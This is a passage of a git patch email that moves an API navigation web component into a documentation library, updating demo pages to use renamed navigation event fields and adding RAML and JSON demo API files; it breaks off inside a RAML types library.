From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sun, 10 Oct 2021 03:16:29 -0700
Subject: [PATCH 05/36] chore: moving API navigation

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 .vscode/settings.json                         |    5 +
 api-navigation.d.ts                           |    7 +
 api-navigation.js                             |    3 +
 demo/api-annotation.js                        |   18 +-
 demo/api-channel.js                           |   18 +-
 demo/api-documentation-document.js            |   14 +-
 demo/api-documentation-partial.js             |   49 +-
 demo/api-documentation.js                     |   16 +-
 demo/api-editor.js                            |   11 +-
 demo/api-operation.js                         |   14 +-
 demo/api-payload.js                           |   10 +-
 demo/api-request.js                           |   13 +-
 demo/api-resource.js                          |   18 +-
 demo/api-schema-documentation.js              |   15 +-
 demo/api-security-documentation.js            |   12 +-
 demo/api-summary.js                           |    2 +-
 .../APIC-349-cache-resolution.raml            |  141 ++
 .../docs/DocumentationItem-1.raml             |    3 +
 .../APIC-349-cache-resolution/docs/api.md     |    1 +
 .../docs/documentationTitle.md                |    1 +
 .../examples/usingObj-example.json            |   19 +
 .../examples/usingObj-example2.json           |   19 +
 .../libraries/schema.json                     |   21 +
 .../libraries/types.raml                      |   88 +
 demo/apis/APIC-435/APIC-435.yaml              |   27 +
 demo/apis/APIC-449/APIC-449.yaml              |    8 +
 demo/apis/APIC-550/APIC-550.raml              |   46 +
 demo/apis/APIC-554-ii/APIC-554-ii.raml        |    5 +
 demo/apis/APIC-554/APIC-554.raml              |    6 +
 demo/apis/SE-19215/SE-19215.raml              |    5 +
 demo/apis/ext-docs/ext-docs.yaml              |   14 +
 .../missing-endpoints/missing-endpoints.raml  |   34 +
 demo/apis/navigation-api/library.raml         |    7 +
 demo/apis/navigation-api/navigation-api.raml  |  359 +++
 .../apis/navigation-api/types/app-person.raml |  101 +
 demo/apis/navigation-api/types/image.raml     |   23 +
 demo/apis/navigation-api/types/product.raml   |   52 +
 demo/apis/navigation-api/types/resource.raml  |   11 +
 demo/apis/rearrange-api/rearrange-api.raml    |   32 +
 demo/apis/simple-api/simple-api.raml          |   12 +
 .../unordered-endpoints.raml                  |   11 +
 demo/lib/AmfDemoBase.js                       |   13 +-
 demo/model.mjs                                |   13 +
 demo/server-selector.js                       |   14 +-
 index.d.ts                                    |    1 +
 index.js                                      |    1 +
 package-lock.json                             |   22 -
 package.json                                  |    1 -
 src/elements/ApiDocumentationElement.js       |   73 +-
 src/elements/ApiNavigationElement.d.ts        |  677 +++++
 src/elements/ApiNavigationElement.js          | 2220 +++++++++++++++++
 src/elements/ApiRequestElement.js             |   17 +-
 src/elements/ApiSummaryElement.d.ts           |    2 +-
 src/elements/ApiSummaryElement.js             |   19 +-
 src/elements/styles/Navigation.js             |  239 ++
 src/events/EventTypes.d.ts                    |    4 +
 src/events/EventTypes.js                      |    4 +-
 src/events/Events.d.ts                        |    2 +
 src/events/Events.js                          |    2 +
 src/events/NavigationEvents.d.ts              |   44 +
 src/events/NavigationEvents.js                |   40 +
 src/types.d.ts                                |   42 +
 test/elements/ApiSummaryElement.test.js       |   65 +-
 test/http-request/ApiRequestElement.test.js   |   23 +-
 test/navigation/ApiNavigationElement.test.js  | 1643 ++++++++++++
 test/navigation/amf-model.test.js             |  395 +++
 .../navigation/documentation-fragment.test.js |   76 +
 test/navigation/oas-external-docs.test.js     |  107 +
 test/navigation/oas-security.test.js          |  151 ++
 test/navigation/security-fragment.test.js     |   78 +
 test/navigation/type-fragment.test.js         |   78 +
 test/old/api-documentation.no-test.js         |   38 +-
 web-test-runner.config.mjs                    |    2 +-
 73 files changed, 7111 insertions(+), 266 deletions(-)
 create mode 100644 api-navigation.d.ts
 create mode 100644 api-navigation.js
 create mode 100755 demo/apis/APIC-349-cache-resolution/APIC-349-cache-resolution.raml
 create mode 100755 demo/apis/APIC-349-cache-resolution/docs/DocumentationItem-1.raml
 create mode 100755 demo/apis/APIC-349-cache-resolution/docs/api.md
 create mode 100755 demo/apis/APIC-349-cache-resolution/docs/documentationTitle.md
 create mode 100755 demo/apis/APIC-349-cache-resolution/examples/usingObj-example.json
 create mode 100755 demo/apis/APIC-349-cache-resolution/examples/usingObj-example2.json
 create mode 100755 demo/apis/APIC-349-cache-resolution/libraries/schema.json
 create mode 100755 demo/apis/APIC-349-cache-resolution/libraries/types.raml
 create mode 100644 demo/apis/APIC-435/APIC-435.yaml
 create mode 100644 demo/apis/APIC-449/APIC-449.yaml
 create mode 100644 demo/apis/APIC-550/APIC-550.raml
 create mode 100644 demo/apis/APIC-554-ii/APIC-554-ii.raml
 create mode 100644 demo/apis/APIC-554/APIC-554.raml
 create mode 100644 demo/apis/SE-19215/SE-19215.raml
 create mode 100644 demo/apis/ext-docs/ext-docs.yaml
 create mode 100644 demo/apis/missing-endpoints/missing-endpoints.raml
 create mode 100644 demo/apis/navigation-api/library.raml
 create mode 100644 demo/apis/navigation-api/navigation-api.raml
 create mode 100644 demo/apis/navigation-api/types/app-person.raml
 create mode 100644 demo/apis/navigation-api/types/image.raml
 create mode 100644 demo/apis/navigation-api/types/product.raml
 create mode 100644 demo/apis/navigation-api/types/resource.raml
 create mode 100644 demo/apis/rearrange-api/rearrange-api.raml
 create mode 100644 demo/apis/simple-api/simple-api.raml
 create mode 100644 demo/apis/unordered-endpoints/unordered-endpoints.raml
 create mode 100644 src/elements/ApiNavigationElement.d.ts
 create mode 100644 src/elements/ApiNavigationElement.js
 create mode 100644 src/elements/styles/Navigation.js
 create mode 100644 src/events/NavigationEvents.d.ts
 create mode 100644 src/events/NavigationEvents.js
 create mode 100644 test/navigation/ApiNavigationElement.test.js
 create mode 100644 test/navigation/amf-model.test.js
 create mode 100644 test/navigation/documentation-fragment.test.js
 create mode 100644 test/navigation/oas-external-docs.test.js
 create mode 100644 test/navigation/oas-security.test.js
 create mode 100644 test/navigation/security-fragment.test.js
 create mode 100644 test/navigation/type-fragment.test.js

diff --git a/.vscode/settings.json b/.vscode/settings.json
index 50f587c..53051a7 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -1,6 +1,9 @@
 {
   "cSpell.words": [
+    "amfstoreapisummary",
+    "apinavigate",
     "apirequest",
+    "apiresponse",
     "apiserverchanged",
     "Applian",
     "Arrable",
@@ -15,6 +18,8 @@
     "notryit",
     "onapiserverchange",
     "onserverscountchange",
+    "populateannotatedfields",
+    "redirecturichange",
     "securitysettingsinfochanged",
     "serverscountchanged",
     "signedup",
diff --git a/api-navigation.d.ts b/api-navigation.d.ts
new file mode 100644
index 0000000..e1d6021
--- /dev/null
+++ b/api-navigation.d.ts
@@ -0,0 +1,7 @@
+import Element from './src/elements/ApiNavigationElement.js';
+
+declare global {
+  interface HTMLElementTagNameMap {
+    "api-navigation": Element;
+  }
+}
diff --git a/api-navigation.js b/api-navigation.js
new file mode 100644
index 0000000..bcc049c
--- /dev/null
+++ b/api-navigation.js
@@ -0,0 +1,3 @@
+import Element from './src/elements/ApiNavigationElement.js';
+
+window.customElements.define('api-navigation', Element);
diff --git a/demo/api-annotation.js b/demo/api-annotation.js
index 61e7c06..727a8ad 100644
--- a/demo/api-annotation.js
+++ b/demo/api-annotation.js
@@ -3,6 +3,8 @@ import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-annotation-document.js';
 
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+
 class ComponentPage extends AmfDemoBase {
   constructor() {
     super();
@@ -15,16 +17,16 @@ class ComponentPage extends AmfDemoBase {
   }
 
   /**
-   * @param {CustomEvent} e
+   * @param {ApiNavigationEvent} e
    */
   _navChanged(e) {
-    const { selected, type } = e.detail;
-    if (type === 'type') {
-      this.setTypeData(selected);
-    } else if (type === 'endpoint') {
-      this.setEndpointData(selected);
-    } else if (type === 'method') {
-      this.setMethodData(selected);
+    const { domainId, domainType } = e.detail;
+    if (domainType === 'schema') {
+      this.setTypeData(domainId);
+    } else if (domainType === 'resource') {
+      this.setEndpointData(domainId);
+    } else if (domainType === 'operation') {
+      this.setMethodData(domainId);
     } else {
       this.shape = undefined;
     }
diff --git a/demo/api-channel.js b/demo/api-channel.js
index c7d1436..caa276b 100644
--- a/demo/api-channel.js
+++ b/demo/api-channel.js
@@ -5,6 +5,8 @@ import '@advanced-rest-client/authorization/oauth2-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-channel-document.js';
 
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+
 class ComponentPage extends AmfDemoBase {
   constructor() {
     super();
@@ -20,21 +22,21 @@ class ComponentPage extends AmfDemoBase {
   }
 
   /**
-   * @param {CustomEvent} e
+   * @param {ApiNavigationEvent} e
    */
   _navChanged(e) {
-    const { selected, type, passive, endpointId } = e.detail;
+    const { domainId, domainType, passive, parentId } = e.detail;
     if (passive) {
       return;
     }
-    if (type === 'endpoint') {
-      this.selectedId = selected;
-      this.selectedType = type;
+    if (domainType === 'resource') {
+      this.selectedId = domainId;
+      this.selectedType = domainType;
       this.selectedOperation = undefined;
-    } else if (type === 'method') {
-      this.selectedId = endpointId;
+    } else if (domainType === 'operation') {
+      this.selectedId = parentId;
       this.selectedType = 'endpoint';
-      this.selectedOperation = selected;
+      this.selectedOperation = domainId;
     } else {
       this.selectedId = undefined;
       this.selectedType = undefined;
diff --git a/demo/api-documentation-document.js b/demo/api-documentation-document.js
index 58c6f72..b1902eb 100644
--- a/demo/api-documentation-document.js
+++ b/demo/api-documentation-document.js
@@ -1,9 +1,11 @@
 import { html } from 'lit-html';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@api-components/api-navigation/api-navigation.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
+import '../api-navigation.js';
 import '../api-documentation-document.js';
 
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+
 class ComponentPage extends AmfDemoBase {
   constructor() {
     super();
@@ -20,16 +22,16 @@ class ComponentPage extends AmfDemoBase {
   }
 
   /**
-   * @param {CustomEvent} e
+   * @param {ApiNavigationEvent} e
    */
   _navChanged(e) {
-    const { selected, type, passive } = e.detail;
+    const { domainId, domainType, passive } = e.detail;
     if (passive) {
       return;
     }
-    if (type === 'documentation') {
-      this.selectedId = selected;
-      this.selectedType = type;
+    if (domainType === 'documentation') {
+      this.selectedId = domainId;
+      this.selectedType = domainType;
     } else {
       this.selectedId = undefined;
       this.selectedType = undefined;
diff --git a/demo/api-documentation-partial.js b/demo/api-documentation-partial.js
index a999513..075d384 100644
--- a/demo/api-documentation-partial.js
+++ b/demo/api-documentation-partial.js
@@ -12,6 +12,7 @@ import '../api-request.js';
 import '../xhr-simple-request.js';
 
 /** @typedef {import('lit-html').TemplateResult} TemplateResult */
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
 /**
  * @param {Event} e
@@ -82,48 +83,48 @@ class ComponentDemo extends AmfDemoBase {
   }
 
   /**
-   * @param {CustomEvent} e
+   * @param {ApiNavigationEvent} e
    */
   _navChanged(e) {
-    const { selected, type, endpointId, passive } = e.detail;
+    const { domainId, domainType, parentId, passive } = e.detail;
     if (passive === true) {
       return;
     }
     this.operationId = undefined;
-    if (type === 'type') {
-      this.partialModelDocs = this.store.schema(selected, this.context);
-      this.domainId = selected;
-      this.domainType = type;
+    if (domainType === 'schema') {
+      this.partialModelDocs = this.store.schema(domainId, this.context);
+      this.domainId = domainId;
+      this.domainType = domainType;
       return;
     }
-    if (type === 'security') {
-      this.partialModelDocs = this.store.securityRequirement(selected, this.context);
-      this.domainId = selected;
-      this.domainType = type;
+    if (domainType === 'security') {
+      this.partialModelDocs = this.store.securityRequirement(domainId, this.context);
+      this.domainId = domainId;
+      this.domainType = domainType;
       return;
     }
-    if (type === 'endpoint') {
-      this.partialModelDocs = this.store.endpoint(selected, this.context);
-      this.domainId = selected;
-      this.domainType = type;
+    if (domainType === 'resource') {
+      this.partialModelDocs = this.store.endpoint(domainId, this.context);
+      this.domainId = domainId;
+      this.domainType = domainType;
       return
     }
-    if (type === 'method') {
-      if (!this.partialModelDocs || this.partialModelDocs['@id'] !== endpointId) {
-        this.partialModelDocs = this.store.endpoint(endpointId, this.context);
+    if (domainType === 'operation') {
+      if (!this.partialModelDocs || this.partialModelDocs['@id'] !== parentId) {
+        this.partialModelDocs = this.store.endpoint(parentId, this.context);
       }
-      this.domainId = endpointId;
-      this.operationId = selected;
-      this.domainType = type;
+      this.domainId = parentId;
+      this.operationId = domainId;
+      this.domainType = domainType;
       return
     }
-    if (type === 'summary') {
+    if (domainType === 'summary') {
       this.partialModelDocs = this.summaryModel;
-      this.domainId = selected;
-      this.domainType = type;
+      this.domainId = domainId;
+      this.domainType = domainType;
       return;
     }
-    console.log(selected, type, endpointId, passive);
+    console.log(domainId, domainType, parentId, passive);
     // this.domainType = type;
     // if (type === 'method') {
     //   this.operationId = selected;
diff --git a/demo/api-documentation.js b/demo/api-documentation.js
index e75a71c..c3a09dc 100644
--- a/demo/api-documentation.js
+++ b/demo/api-documentation.js
@@ -10,6 +10,8 @@ import '../xhr-simple-request.js';
 import '../api-server-selector.js';
 import '../api-documentation.js';
 
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+
 class ComponentDemo extends AmfDemoBase {
   constructor() {
     super();
@@ -41,20 +43,20 @@ class ComponentDemo extends AmfDemoBase {
   }
 
   /**
-   * @param {CustomEvent} e
+   * @param {ApiNavigationEvent} e
    */
   _navChanged(e) {
-    const { selected, type, endpointId, passive } = e.detail;
+    const { domainId, domainType, parentId, passive } = e.detail;
     if (passive === true) {
       return;
     }
-    this.domainType = type;
-    if (type === 'method') {
-      this.operationId = selected;
-      this.domainId = endpointId;  
+    this.domainType = domainType;
+    if (domainType === 'operation') {
+      this.operationId = domainId;
+      this.domainId = parentId;  
     } else {
       this.operationId = undefined;
-      this.domainId = selected;
+      this.domainId = domainId;
     }
   }
 
diff --git a/demo/api-editor.js b/demo/api-editor.js
index 0f94196..346fe42 100644
--- a/demo/api-editor.js
+++ b/demo/api-editor.js
@@ -9,6 +9,8 @@ import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../xhr-simple-request.js';
 import '../api-request-editor.js';
 
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+
 class ComponentDemo extends AmfDemoBase {
   constructor() {
     super();
@@ -56,12 +58,15 @@ class ComponentDemo extends AmfDemoBase {
     this.authSettingsValue = value ? JSON.stringify(value, null, 2) : '';
   }
 
+  /**
+   * @param {ApiNavigationEvent} e
+   */
   _navChanged(e) {
     this.selectedAmfId = undefined;
     this.responseBody = undefined;
-    const { selected, type } = e.detail;
-    if (type === 'method') {
-      this.selectedAmfId = selected;
+    const { domainId, domainType } = e.detail;
+    if (domainType === 'operation') {
+      this.selectedAmfId = domainId;
       this.hasData = true;
     } else {
       this.hasData = false;
diff --git a/demo/api-operation.js b/demo/api-operation.js
index 16db000..f23b9a8 100644
--- a/demo/api-operation.js
+++ b/demo/api-operation.js
@@ -10,6 +10,8 @@ import '../api-request.js';
 import '../api-server-selector.js';
 import '../xhr-simple-request.js';
 
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+
 class ComponentPage extends AmfDemoBase {
   constructor() {
     super();
@@ -72,17 +74,17 @@ class ComponentPage extends AmfDemoBase {
   }
 
   /**
-   * @param {CustomEvent} e
+   * @param {ApiNavigationEvent} e
    */
   _navChanged(e) {
-    const { selected, type, passive, endpointId } = e.detail;
+    const { domainId, domainType, passive, parentId } = e.detail;
     if (passive) {
       return;
     }
-    if (type === 'method') {
-      this.selectedId = selected;
-      this.selectedType = type;
-      this.parentEndpoint = endpointId;
+    if (domainType === 'operation') {
+      this.selectedId = domainId;
+      this.selectedType = domainType;
+      this.parentEndpoint = parentId;
     } else {
       this.selectedId = undefined;
       this.selectedType = undefined;
diff --git a/demo/api-payload.js b/demo/api-payload.js
index a10e2bc..d23687b 100644
--- a/demo/api-payload.js
+++ b/demo/api-payload.js
@@ -3,6 +3,8 @@ import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-payload-document.js';
 
 /** @typedef {import('../').Amf.Payload} Payload */
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+
 /** 
  * @typedef ResponsePayload 
  * @property {string} code
@@ -24,17 +26,17 @@ class ComponentPage extends AmfDemoBase {
   }
 
   /**
-   * @param {CustomEvent} e
+   * @param {ApiNavigationEvent} e
    */
   _navChanged(e) {
-    const { selected, type, passive } = e.detail;
+    const { domainId, domainType, passive } = e.detail;
     if (passive) {
       return;
     }
     this.request = [];
     this.response = [];
-    if (type === 'method') {
-      this.setPayloads(selected);
+    if (domainType === 'operation') {
+      this.setPayloads(domainId);
     }
   }
 
diff --git a/demo/api-request.js b/demo/api-request.js
index c11dd0e..3c82786 100644
--- a/demo/api-request.js
+++ b/demo/api-request.js
@@ -1,14 +1,16 @@
 import { html } from 'lit-html';
 import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@api-components/api-navigation/api-navigation.js';
 import '@advanced-rest-client/authorization/oauth2-authorization.js';
 import '@advanced-rest-client/authorization/oauth1-authorization.js';
 import '@advanced-rest-client/authorization/oidc-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
+import '../api-navigation.js';
 import '../xhr-simple-request.js';
 import '../api-request.js';
 
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+
 class ComponentDemo extends AmfDemoBase {
   constructor() {
     super();
@@ -58,11 +60,14 @@ class ComponentDemo extends AmfDemoBase {
     this.authSettingsValue = value ? JSON.stringify(value, null, 2) : '';
   }
 
+  /**
+   * @param {ApiNavigationEvent} e
+   */
   _navChanged(e) {
     this.selectedAmfId = undefined;
-    const { selected, type } = e.detail;
-    if (type === 'method') {
-      this.selectedAmfId = selected;
+    const { domainId, domainType } = e.detail;
+    if (domainType === 'operation') {
+      this.selectedAmfId = domainId;
       this.hasData = true;
     } else {
       this.hasData = false;
diff --git a/demo/api-resource.js b/demo/api-resource.js
index 29faf87..aef6790 100644
--- a/demo/api-resource.js
+++ b/demo/api-resource.js
@@ -10,6 +10,8 @@ import '../api-request.js';
 import '../xhr-simple-request.js';
 import '../api-server-selector.js';
 
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+
 class ComponentPage extends AmfDemoBase {
   constructor() {
     super();
@@ -68,21 +70,21 @@ class ComponentPage extends AmfDemoBase {
   }
 
   /**
-   * @param {CustomEvent} e
+   * @param {ApiNavigationEvent} e
    */
   _navChanged(e) {
-    const { selected, type, passive, endpointId } = e.detail;
+    const { domainId, domainType, passive, parentId } = e.detail;
     if (passive) {
       return;
     }
-    if (type === 'endpoint') {
-      this.selectedId = selected;
-      this.selectedType = type;
+    if (domainType === 'resource') {
+      this.selectedId = domainId;
+      this.selectedType = domainType;
       this.selectedOperation = undefined;
-    } else if (type === 'method') {
-      this.selectedId = endpointId;
+    } else if (domainType === 'operation') {
+      this.selectedId = parentId;
       this.selectedType = 'endpoint';
-      this.selectedOperation = selected;
+      this.selectedOperation = domainId;
     } else {
       this.selectedId = undefined;
       this.selectedType = undefined;
diff --git a/demo/api-schema-documentation.js b/demo/api-schema-documentation.js
index f8038b8..81affed 100644
--- a/demo/api-schema-documentation.js
+++ b/demo/api-schema-documentation.js
@@ -3,11 +3,12 @@ import { html } from 'lit-html';
 import { ifDefined } from 'lit-html/directives/if-defined.js';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
 import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
-import '@api-components/api-navigation/api-navigation.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-schema-document.js';
+import '../api-navigation.js';
 
 /** @typedef {import('../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
 class ComponentPage extends AmfDemoBase {
   constructor() {
@@ -29,10 +30,10 @@ class ComponentPage extends AmfDemoBase {
   }
 
   /**
-   * @param {CustomEvent} e
+   * @param {ApiNavigationEvent} e
    */
   _navChanged(e) {
-    const { selected, type, passive } = e.detail;
+    const { domainId, domainType, passive } = e.detail;
     if (passive) {
       return;
     }
@@ -42,10 +43,10 @@ class ComponentPage extends AmfDemoBase {
     this.mediaTypes = undefined;
     this.mediaType = undefined;
 
-    if (type === 'type') {
-      this.setTypeData(selected);
-    } else if (type === 'method') {
-      this.setBodyData(selected);
+    if (domainType === 'schema') {
+      this.setTypeData(domainId);
+    } else if (domainType === 'operation') {
+      this.setBodyData(domainId);
     }
   }
 
diff --git a/demo/api-security-documentation.js b/demo/api-security-documentation.js
index b825438..9b37ed1 100644
--- a/demo/api-security-documentation.js
+++ b/demo/api-security-documentation.js
@@ -5,6 +5,8 @@ import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-security-document.js';
 
+/** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+
 class ComponentPage extends AmfDemoBase {
   constructor() {
     super();
@@ -21,16 +23,16 @@ class ComponentPage extends AmfDemoBase {
   }
 
   /**
-   * @param {CustomEvent} e
+   * @param {ApiNavigationEvent} e
    */
   _navChanged(e) {
-    const { selected, type, passive } = e.detail;
+    const { domainId, domainType, passive } = e.detail;
     if (passive) {
       return;
     }
-    if (type === 'security') {
-      this.selectedId = selected;
-      this.selectedType = type;
+    if (domainType === 'security') {
+      this.selectedId = domainId;
+      this.selectedType = domainType;
     } else {
       this.selectedId = undefined;
       this.selectedType = undefined;
diff --git a/demo/api-summary.js b/demo/api-summary.js
index d6c47e6..bac1f92 100644
--- a/demo/api-summary.js
+++ b/demo/api-summary.js
@@ -64,7 +64,7 @@ class ComponentPage extends AmfDemoBase {
       <api-summary
         .amf="${amf}"
         .baseUri="${overrideBaseUri ? 'https://custom.api.com' : undefined}"
-        @api-navigation-selection-changed="${this._navigationHandler}"
+        @apinavigate="${this._navigationHandler}"
         slot="content"
       >
       </api-summary>
diff --git a/demo/apis/APIC-349-cache-resolution/APIC-349-cache-resolution.raml b/demo/apis/APIC-349-cache-resolution/APIC-349-cache-resolution.raml
new file mode 100755
index 0000000..b93efa6
--- /dev/null
+++ b/demo/apis/APIC-349-cache-resolution/APIC-349-cache-resolution.raml
@@ -0,0 +1,141 @@
+#%RAML 1.0
+title: testExamples
+description: Testing examples display
+
+documentation:
+ - title: Test Console and Mocking Service
+   content: |
+     Welcome to the _Test API_ Documentation. The _Test API_
+     allows you to test console and mocking service features
+     [integration libraries](https://mulesoft.com)
+ - title: Legal
+   content: !include docs/api.md
+ - title: !include docs/documentationTitle.md
+   content: |
+     this is the content
+ - !include docs/DocumentationItem-1.raml
+uses:
+  myTypes: libraries/types.raml
+types:
+  MyObj :
+    type: object
+    properties:
+      ok: boolean
+      creationDate : date-only
+      owner: string
+  MyObjExtendsLibObjWithEx:
+    type: myTypes.LibObjectWithExample
+    description: My Own Channel Info
+    properties:
+      creationDate : date-only
+    examples:
+      ex1:
+        ok: true
+        creationDate: 2016-03-11
+        channel:
+          id: "MyChannelInfoEx1"
+          owner: "Tek"
+      ex2:
+        ok: true
+        creationDate: 2016-04-11
+        channel:
+          id: "MyChannelInfoEx2"
+          owner: "Tek"
+      ex3:
+        ok: true
+        creationDate: 2016-05-11
+        channel:
+          id: "MyChannelInfoEx3"
+          owner: "Tek"
+/CASE1:
+  get:
+    description: ExamplesInTypeAndExampleInResponseIncluded
+    queryParameters:
+      channel:
+        description: Channel to fetch history for.
+        required: true
+        example: C1234567890
+    responses:
+      200:
+        body:
+          application/json:
+            type: myTypes.LibObjectWithExamples
+            example: !include examples/usingObj-example2.json
+/CASE2:
+  get:
+    description: NoExamplesInTypeAndExampleInResponseIncluded
+    queryParameters:
+      channel:
+        description: Channel to fetch history for.
+        required: true
+        example: C1234567890
+    responses:
+      200:
+        body:
+          application/json:
+            type: myTypes.UsingObj
+            example: !include examples/usingObj-example2.json
+/CASE3:
+  get:
+    description: ExamplesInTypeAndExamplesInResponse
+    queryParameters:
+      channel:
+        description: Channel to fetch history for.
+        required: true
+        example: C1234567890
+    responses:
+      200:
+        body:
+          application/json:
+            type: myTypes.LibObjectWithExamples
+            examples:
+              example1:
+                ok: true
+                channel:
+                  id: "ex1"
+                  owner: "A"
+              example2:
+                ok: false
+                channel:
+                  id: "ex2"
+                  owner: "B"
+/CASE4:
+  get:
+    description: NoExamplesInTypeAndExamplesInResponseInline
+    queryParameters:
+      channel:
+        description: Channel to fetch history for.
+        required: true
+        example: C1234567890
+    responses:
+      200:
+        body:
+          application/json:
+            type: myTypes.UsingObj
+            examples:
+              example1:
+                ok: true
+                channel:
+                  id: "ex1"
+                  owner: "A"
+              example2:
+                ok: false
+                channel:
+                  id: "ex2"
+                  owner: "B"
+/CASE5:
+  get:
+    description: Testing No Examples In Type And Examples In Response using include. 
+    queryParameters:
+      channel:
+        description: Channel to fetch history for.
+        required: true
+        example: C1234567890
+    responses:
+      200:
+        body:
+          application/json:
+            type: myTypes.UsingObj
+            examples:
+              example1: !include examples/usingObj-example.json
+              example2: !include examples/usingObj-example2.json
diff --git a/demo/apis/APIC-349-cache-resolution/docs/DocumentationItem-1.raml b/demo/apis/APIC-349-cache-resolution/docs/DocumentationItem-1.raml
new file mode 100755
index 0000000..f067606
--- /dev/null
+++ b/demo/apis/APIC-349-cache-resolution/docs/DocumentationItem-1.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 DocumentationItem
+title: Fragment doc title
+content: Fragment doc content
\ No newline at end of file
diff --git a/demo/apis/APIC-349-cache-resolution/docs/api.md b/demo/apis/APIC-349-cache-resolution/docs/api.md
new file mode 100755
index 0000000..a03f1b1
--- /dev/null
+++ b/demo/apis/APIC-349-cache-resolution/docs/api.md
@@ -0,0 +1 @@
+The API gives you chance to test features referred to API Console and Mocking Service.
\ No newline at end of file
diff --git a/demo/apis/APIC-349-cache-resolution/docs/documentationTitle.md b/demo/apis/APIC-349-cache-resolution/docs/documentationTitle.md
new file mode 100755
index 0000000..19337e9
--- /dev/null
+++ b/demo/apis/APIC-349-cache-resolution/docs/documentationTitle.md
@@ -0,0 +1 @@
+Another title
\ No newline at end of file
diff --git a/demo/apis/APIC-349-cache-resolution/examples/usingObj-example.json b/demo/apis/APIC-349-cache-resolution/examples/usingObj-example.json
new file mode 100755
index 0000000..809cfd4
--- /dev/null
+++ b/demo/apis/APIC-349-cache-resolution/examples/usingObj-example.json
@@ -0,0 +1,19 @@
+{
+  "ok" : true ,
+  "channel" : {
+    "id" : "C024BE91L" ,
+    "name" : "fun" ,
+    "created" : "1360782804" ,
+    "creator" : "U024BE7LH" ,
+    "is_archived" : false ,
+    "is_general" : false ,
+    "is_member" : true ,
+    "members" : "" ,
+    "topic" : "" ,
+    "purpose" : "" ,
+    "last_read" : "1401383885.000061" ,
+    "latest" : "" ,
+    "unread_count" : 0,
+    "owner" : "Caro" 
+  }
+}
\ No newline at end of file
diff --git a/demo/apis/APIC-349-cache-resolution/examples/usingObj-example2.json b/demo/apis/APIC-349-cache-resolution/examples/usingObj-example2.json
new file mode 100755
index 0000000..e0ffb34
--- /dev/null
+++ b/demo/apis/APIC-349-cache-resolution/examples/usingObj-example2.json
@@ -0,0 +1,19 @@
+{
+  "ok" : true ,
+  "channel" : {
+    "id" : "LLLLSSS" ,
+    "name" : "fun" ,
+    "created" : "1360782804" ,
+    "creator" : "LLL" ,
+    "is_archived" : false ,
+    "is_general" : false ,
+    "is_member" : true ,
+    "members" : "" ,
+    "topic" : "" ,
+    "purpose" : "" ,
+    "last_read" : "1401383885.000061" ,
+    "latest" : "" ,
+    "unread_count" : 0,
+    "owner" : "Nati" 
+  }
+}
\ No newline at end of file
diff --git a/demo/apis/APIC-349-cache-resolution/libraries/schema.json b/demo/apis/APIC-349-cache-resolution/libraries/schema.json
new file mode 100755
index 0000000..53d0afa
--- /dev/null
+++ b/demo/apis/APIC-349-cache-resolution/libraries/schema.json
@@ -0,0 +1,21 @@
+{
+  "required" : true ,
+  "$schema" : "http://json-schema.org/draft-03/schema" ,
+  "type" : "object" ,
+  "properties" : {
+    "macro" : {
+      "type" : "object" ,
+      "required" : false ,
+      "properties" : {
+        "id" : {
+          "type" : "number" ,
+          "required" : false
+        } ,
+        "title" : {
+          "type" : "string" ,
+          "required" : false
+        }
+      }
+    }
+  }
+}
\ No newline at end of file
diff --git a/demo/apis/APIC-349-cache-resolution/libraries/types.raml b/demo/apis/APIC-349-cache-resolution/libraries/types.raml
new file mode 100755
index 0000000..865f7ae
--- /dev/null
+++ b/demo/apis/APIC-349-cache-resolution/libraries/types.raml
@@ -0,0 +1,88 @@
+#%RAML 1.0 Library
+
+usage: Defines types
+types: 
+  BaseObj:
+    type: object
+    properties:
+      id:
+        type: string
+        required: false
+      name:
+        type: string
+        required: false
+      created:
+        type: string
+        required: false
+      creator:
+        type: string
+        required: false
+      is_archived:
+        type: boolean
+        required: false
+      is_general:
+        type: boolean
+        required: false
+      is_member:
+        type: boolean
+        required: false
+      members:
+        type: string
+        required: false
+      topic:
+        type: string
+        required: false
+      purpose:
+        type: string
+        required: false
+      last_read:
+        type: string
+        required: false
+      latest:
+        type: string
+        required: false
+      unread_count:
+        type: number
+        required: false
+  ExtendingObj:
+    type: BaseObj
+    properties: 
